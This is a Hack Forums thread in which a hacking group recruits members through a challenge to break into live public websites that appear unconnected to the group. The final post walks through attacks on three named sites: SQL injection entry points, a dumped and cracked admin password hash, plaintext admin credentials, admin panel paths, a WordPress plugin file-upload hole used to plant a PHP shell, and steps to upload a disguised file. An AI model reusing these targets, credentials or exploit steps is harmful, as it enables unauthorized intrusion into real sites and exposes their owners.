

Forum:[Hack Forums](#)

Thread: [\[Official\] Notorious - Recruitment #4 | Pentesting Challenge](#)

TheChi?f - May 31, 2017, 2:29 am

Notorious - Recruitment #4

Turn your face to the sun and the shadows fall behind you.

Subforum Icon:

Group Userbar:

Description:

We are accepting a select number of members, and the general requirements for this are as follows:You have been a registered member of HackForums for atleast a month.
You don't have any open and valid scam reports against you.

User background and other activities may also be checked before you are invited to our group.

Challenge Instructions:

A member of Notorious, [ka\\$h](#), has put together a simple yet elegant pentesting challenge.

Starting Point:

%25%32%35%25%33%36%25%33%38%25%32%35%25%33%37%25%33%34%25%32%35%25%33%37%25%33%34%25%32%35%25%33%37%25%33%30%25%32%35%25%33%33%25%36%31%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%36%25%32%35%25%33%37%25%33%37%25%32%35%25%33%37%25%33%37%25%32%35%25%33%37%25%33%37%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%31%25%32%35%25%33%37%25%33%36%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%37%25%

%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%30%25%32%35%25%33%36%25%33%32%25%32%35%25%33%36%25%33%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%34

Complete the challenge by posting a screen shot of your name here:

CONTEXT:Compromise the website server and look for a directory titled NOTORIOUS

Additional RULES:Don't be a skid. Go back to Minecraft if you wanna be one.

The first person to post the screen shot of their name added to the challenge page below and PM me the necessary information to make me believe you completed the challenge legitimately will successfully complete this challenge.

You MUST NOT do anything silly or you will be blacklisted and barred from all future events.

The thread will be locked in 5 days, and the recruitment will be closed. Accepted members will be PM'd.

No?orious - May 31, 2017, 2:31 am

Best of luck for the application process ladies and gents! Absolute killer group. ?

Rikz - May 31, 2017, 2:44 am

Best of luck to everyone, but just remember no matter what I am better than you

jokes im acc a sad human being. Amazing group

Plugs The Plug - May 31, 2017, 2:48 am

Good luck with this everyone!

I'm sure we will have some great people completing this.

WingsOfAltair - May 31, 2017, 3:00 am

This looks like a fun challenge that shouldn't take too long to solve. Good luck everyone.

Vitani - May 31, 2017, 3:30 am

Good luck to everyone who is gonna try to solve this one!

Cimex - May 31, 2017, 4:01 am

Good luck everyone, get hackin!

RepForums - May 31, 2017, 5:23 am

Good luck everyone who takes part! ?

TheChi?f - May 31, 2017, 9:47 am

Only one user has completed it so far. Expect to see more "hackers" soon.

Mi2414 - May 31, 2017, 10:21 am

Goodluck to anyone that applies, you will love advancing your journey with Notorious.

-Elusive- - May 31, 2017, 12:13 pm

Completed it, very doable. Was a bit of fun :D

Methiel - May 31, 2017, 5:38 pm

Hey, Due to i'm not great at "hacking" to solve this I was wondering if someone would be willing to tell me how to solve this After the 5 days Just so that I can learn how to do these type of things. Thanks for any help you all bring.

Cimex - June 1, 2017, 7:23 am

(May 31, 2017 05:38 PM)Methiel Wrote: [\[CITE\]](#) Hey, Due to i'm not great at "hacking" to solve this I was wondering if someone would be willing to tell me how to solve this After the 5 days Just so that I can learn how to do these type of things. Thanks for any help you all bring.

I am sure the answer will be released ?

SIM-403479 - June 1, 2017, 1:46 pm

Great group to be a part of.

Good luck to those getting involved!

Reusable - June 1, 2017, 5:00 pm

OP i have a Q why is this uploaded like 5x

<http://www.ravengroupbd.com/photo/>

ka\$h - June 1, 2017, 5:43 pm

(Jun 1, 2017 05:00 PM)Reusable Wrote: [\[CITE\]](#) OP i have a Q why is this uploaded like 5x Perhaps because it's a public website? Which means prone to exploitation by anybody.

And obviously there is some mad Bangladesh kid that lost his Facebook lol.

Reusable - June 1, 2017, 6:26 pm

yeah i noticed sqli sucks for them and xss i guess, that site is super vuln lol

ka\$h - June 1, 2017, 6:50 pm

(Jun 1, 2017 06:26 PM)Reusable Wrote: [\[CITE\]](#) yeah i noticed sqli sucks for them and xss i guess, that site is super vuln lol

Yea didn't really intend for the first site to be much of a challenge

Cylow - June 3, 2017, 2:34 am

Alright I'll get working. Hope I'll be able to do it.

mObile - June 3, 2017, 11:56 am

Challenge completed. ?

Thanks for the invite. ?

?ictor? - June 3, 2017, 3:08 pm

Spoiler ([Click to View](#))

Thank you for this challenge.

A little tip from mObile.

TheChi?f - June 5, 2017, 8:53 am

I am going to let this run for 24 more hours. It'll be closed after that.

Disses - June 5, 2017, 10:18 pm

Good luck everyone I dont know shit about hacking, wanted to join cause of name :(and cause op is boss

Younis Khan - June 5, 2017, 11:41 pm

(Jun 5, 2017 10:18 PM)No?or?o?? Wrote: [\[CITE\]](#) Good luck everyone I dont know shit about hacking, wanted to join cause of name :(and cause op is boss
shit man this guy should just be allowed in

No?orious - June 5, 2017, 11:59 pm

(Jun 5, 2017 10:18 PM)No?or?o?? Wrote: [\[CITE\]](#) Good luck everyone I dont know shit about hacking, wanted to join cause of name :(and cause op is boss
Definitely not, your name is a scam copy of mine. ?

Rafaelinio - June 6, 2017, 10:22 am

ah sht... seems im a bit too late.

Reece Morgan - June 6, 2017, 6:29 pm

Does anybody know what happened to the OP? I just noticed this challenge and was considering participating, however if the user has been banned there isn't much of a point going forward.

?ictor? - June 6, 2017, 6:44 pm

(Jun 6, 2017 06:29 PM)Reece Morgan Wrote: [\[CITE\]](#) Does anybody know what happened to the OP? I just noticed this challenge and was considering participating, however if the user has been banned there isn't much of a point going forward.

I'm pretty sure he took a 3 day vacation or something? Also, I think it's too late to participate, maybe he'll still accept you though.

Saltpeter - June 6, 2017, 6:57 pm

(Jun 6, 2017 06:29 PM)Reece Morgan Wrote: [\[CITE\]](#) Does anybody know what happened to the OP? I just noticed this challenge and was considering participating, however if the user has been banned there isn't much of a point going forward.

He took a three day vacation ban. At the time of typing this you have around two hours left to submit.

?ictor? - June 8, 2017, 11:01 am

What happened to this recruitment?

TheChi?f - June 8, 2017, 11:04 am

The recruitment has ended. As requested by a few, the PoC has been posted below. Thanks to everyone that entered or tried. Selected members will be invited to the group upon further talk.

The PoC has been written by [mObile](#)

1st Target:

ravengroubpd.com

PoC:Spoiler ([Click to View](#))

Vulnerable to SQLi:

PHP Code

<?php

http://ravengroubpd.com/product_details.php?id_p=7'

Database: raven_dbs

Table: admin

adminuser: admin

adminpass: 6d94c8c2f8f00b7ec4434bcf8369e7fa MD5 : raven7

Path to admin panel:

PHP Code

<?php

http://ravengroubpd.com/admin_panel404/

NOTORIOUS directory location:

PHP Code

<?php

/home/raven/public_html/admin_panel404/zxzczxNOTORIOUS/

Inside directory:

Base64 decoded:

PHP Code

<?php

%68%74%74%70%3a%2f%2f%61%70%70%6c%69%65%64%70%72%65%73%73%75%72%65%
2e%63%6f%6d

URL decoded:

PHP Code

<?php

http://appliedpressure.com

2nd Target:

appliedpressure.com

PoC:

Spoiler ([Click to View](#))

Exploit: Arbitrary File Upload Vulnerability in WP Marketplace.

The following proof of concept will upload your php shell to the directory

/wp-content/uploads/wpmp-previews/

PHP Code

<?php

http://appliedpressure.com/wp-admin/admin-post.php?task=wpmp_upload_previews

NOTORIOUS directory location:

PHP Code

<?php

/wp-content/themes/sdjfbksfNOTORIOUS/

Inside directory:

Base64 decoded:

PHP Code

<?php

%68%74%74%70%3a%2f%2f%77%77%77%2e%64%75%62%75%69%74%66%61%72%65%61%73%74%2e%63%6f%6d%2f

URL decoded:

PHP Code

<?php

http://www.dubuitfareast.com

3rd Target:

dubuitfareast.com

PoC:

Spoiler ([Click to View](#))

Vulnerable to SQLi:

PHP Code

<?php

http://www.dubuitfareast.com/news_detail.php?news_id=9'

Database: dubuitdb

Table: admin

Path to admin panel:

PHP Code

<?php

http://www.dubuitfareast.com/admin/index.php

Username: dubuit

Password: 3xnUfNJFWcYxQ4Af

Location of Notorious page:

PHP Code

<?php

http://www.dubuitfareast.com/admin/edit_product.php?id=25

>Open page in new tab.

>Right-click, view and copy page source.

>Edit source, add name.

>Save as notorious.php.jpg

>Upload and replace current notorious.php.jpg

Challenge Completed:

PHP Code

<?php

http://www.dubuitfareast.com/product_img/6199-31-05-2017-8860-28-05-2017-notorious.php.jpg